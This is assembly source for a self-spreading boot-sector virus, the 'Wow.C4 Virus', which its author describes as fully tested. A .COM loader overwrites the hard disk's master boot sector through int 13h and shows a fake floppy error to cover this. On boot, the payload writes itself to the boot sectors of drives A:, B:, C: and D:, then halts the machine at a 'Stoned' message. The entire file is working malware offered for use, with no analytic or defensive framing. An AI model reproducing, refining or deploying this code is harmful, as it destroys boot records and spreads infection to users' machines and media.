;======================================================
;The Wow.C4 Virus Version 2.0
;Note: Requires int 13h
;by MBR_TSR
;Assemble with FASM
;* .Com file copies 512 byte virus to C:\ boot sector
;* Boot to C:\ writes virus to A: B: C: and D:
;Fully tested. A little slow.
;Acts a little weird waiting for  key, little slow.
;======================================================

;.Com file loader

Org 0x0100

push cs
push cs
pop  ds
pop  es

;------------------------------------------------------
mov ah, 3     ;write
mov al, 1     ;# of sectors
mov ch, 0     ;Cylinder
mov cl, 1     ;Start Sector
mov dh, 0     ;Head
mov dl, 80h   ;drive#
mov bx, Start ;Buff
int 13h       ;disk
;------------------------------------------------------

push cs
pop  ds

;fake message
mov si, FirstMsg
call ShowStrCom

mov ah, 0
int 0x16

mov ah, 0x4C
int 0x21

;------------------------------------------------------
ShowStrCom:
lodsb        
cmp  al, 0   
je   OkayBaby
mov  ah, 0x0E
mov  bh, 0x00
int  0x10    
jmp  ShowStrCom
OkayBaby:
ret
;------------------------------------------------------
FirstMsg db "Cannot read from floppy A: or USB.",13,10,7,0
;======================================================
;Boot Sector
Start:

Org 0x7C00
Main:

;------------------------------------------------------
push cs
push cs
pop  ds
pop  es

mov byte [cs:DriveNumber], 0
call WriteSectorBoot
mov byte [cs:DriveNumber], 1
call WriteSectorBoot
mov byte [cs:DriveNumber], 80h
call WriteSectorBoot
mov byte [cs:DriveNumber], 81h
call WriteSectorBoot

push cs
pop  ds
mov  si, Stoned
call ShowStr

mov ah, 0
int 0x16

jmp Main
;------------------------------------------------------
;ShowStr
ShowStr:
lodsb        
cmp  al, 0   
je   Okay
mov  ah, 0x0E
mov  bh, 0x00
int  0x10    
jmp  ShowStr
Okay:
ret
;------------------------------------------------------
WriteSectorBoot:    
mov  cx, 5 ;retries
Looper:
push cx
push cs
pop  es
mov ah, 3     ;write
mov al, 1     ;# of sectors
mov ch, 0     ;Cylinder
mov cl, 1     ;Start Sector
mov dh, 0     ;Head
mov dl, byte [cs:DriveNumber]
mov bx, Main  ;Buff
int 13h       ;disk
pop cx
jnc WereOut
loop Looper
WereOut:
ret
;------------------------------------------------------
DriveNumber db 0

Stoned db "Your PC is Now Stoned!!!",13,10
       db "Insert Disk I Can Write to...",13,10,7,0

      rb Main+512-2-$ 
      dw 0xAA55

;======================================================